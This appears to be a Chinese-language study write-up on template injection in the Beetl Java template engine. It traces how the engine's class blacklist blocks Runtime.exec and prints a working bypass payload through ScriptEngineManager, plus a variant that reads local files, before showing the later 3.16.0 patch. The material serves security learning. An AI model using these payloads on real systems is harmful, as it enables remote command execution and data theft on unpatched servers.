beetl 模板注入学习

依赖

测试使用的依赖

<dependency>
    <groupId>com.ibeetl</groupId>
    <artifactId>beetl</artifactId>
    <version>3.0.11.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.antlr</groupId>
    <artifactId>antlr4-runtime</artifactId>
    <version>4.7.2</version>//需要的引擎
</dependency>

语法

主要还是参考官方文档

Beetl: Beetl3.0,模板引擎。从2010年开始研发开源 (gitee.com)

注意到这个

任意方法调用

写一个demo看看是怎么阻止恶意方法调用的

package org.example.beetl;

import org.beetl.core.GroupTemplate;
import org.beetl.core.Template;
import org.beetl.core.resource.StringTemplateResourceLoader;
import org.beetl.core.Configuration;

public class test {
    public static void main(String[] args) throws Exception {
        GroupTemplate groupTemplate = new GroupTemplate(new StringTemplateResourceLoader(), Configuration.defaultConfiguration());
        String payload = "${@java.lang.Runtime.getRuntime().exec('calc')}";
        Template template = groupTemplate.getTemplate(payload);
        String output = template.render(); // 渲染输出
        System.out.println(output);
    }
}

在template.render下断点看看哪里进行了过滤

在template的renderTo方法里面设置了context的上下文环境设置了加载了一些共享变量当不存在ajax 的时候自动调用program.execute(ctx); 进行渲染

这里走到run方法

run方法里面遍历执行了每一个成员走到execute 方法

在execute方法里面调用了expression.evaluate 方法计算成员的值

一系列计算之后走到checkPermit 检测这个类是否可以加载

然后再checkPermit 方法里面调用了getNativeSecurity().permit 比较执行类

permit 方法比较简单就是获取类然后直接比较class是否在黑名单里面

黑名单很短如下

if (pkgName.startsWith("java.lang")) {
			if (className.equals("Runtime") || className.equals("Process") || className.equals("ProcessBuilder")
					|| className.equals("System")) {
				return false;
			}
		}

这里被检测出来了然后就直接抛出错误不执行下去了

过滤类很少可以试着用ClassLoader的命令执行方式绕过一下试一下

1	@java.lang.ClassLoader.getSystemClassLoader().LoadClass('java.Lang.Runtime').getRuntime().exec('calc')

依然过不去

问题出现在这一步

这里的经过递归 targetcls确实成功得到了我们需要的classloader

可以注意到在执行是

1	targetObj = ObjectUtil.invoke(targetObj, mf, args);

这里的targetObj 为null 执行时会调用反射尝试去执行我们的方法

每次执行结束之后会获取此时getclass的class类储存在targetCls内进入下一次执行

后面寻找方法的ObjectMethodMatchConf mf = ObjectUtil.findMethod(targetCls, method, parameterType); 就是使用targetCls 寻找的由于这个class不存在loadclass方法所以显然不能找到这方法导致产生异常抛出

模板注入

还是有办法绕过的

1	${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")}

调试下

首先获得的targetCls 的值是class 执行了forName 方法通过反射获取这个类然后尝试调用这个方法

这里反射获取了这个方法执行

这里执行的结果会返回给targetObj 也就是获取我们需要的类

这个时候已经成功获取js这个执行类了同时不在黑名单里面这个时候就可以正常执行这个类了

成功命令执行弹出计算器

其中的调用栈如下

网上的绕过手段很多就不细搞了

反思

尝试使用ClassLoader 执行命令失败是因为ClassLoader是一个抽象类

在这里调用getSystemClassLoader() 返回的对象类型是 ClassLoader，但实际的运行时类型通常是一个 ClassLoader 的具体实现类这里返回了sun.misc.Launcher$AppClassLoader 使用这个类去尝试LoadClass 系统会提示找不到对应的方法然后抛出

由于可以使用class#forname方法意味着我们可以执行除了黑名单内的各种代码例如文件读取

String payload = "${@Class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var Files = java.nio.file.Files; var Paths = java.nio.file.Paths; var path = Paths.get('D:/1.txt'); var content = Files.readAllBytes(path); new java.lang.String(content);\")}";

后续

修复了大致流程不变添加了很多黑名单 3.16.0

public boolean permit(Object resourceId, Class c, Object target, String method) {
        if (c.isArray()) {
            return true;
        } else {
            String name = c.getName();
            String className = null;
            String pkgName = null;
            int i = name.lastIndexOf(46);
            if (i == -1) {
                return true;
            } else {
                pkgName = name.substring(0, i);
                className = name.substring(i + 1);
                if (pkgName.startsWith("java.lang.reflect")) {
                    return false;
                } else if (!pkgName.startsWith("java.lang")) {
                    if (pkgName.startsWith("java.beans")) {
                        return false;
                    } else if (pkgName.startsWith("org.beetl")) {
                        return false;
                    } else if (pkgName.startsWith("javax.")) {
                        return false;
                    } else {
                        return !pkgName.startsWith("sun.");
                    }
                } else {
                    return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");
                }
            }
        }
    }
}

但是又爆出来一个CVE-2024-22533 网上没现成的poc 我能力不足也分析不出来就先放着之后出来了在学习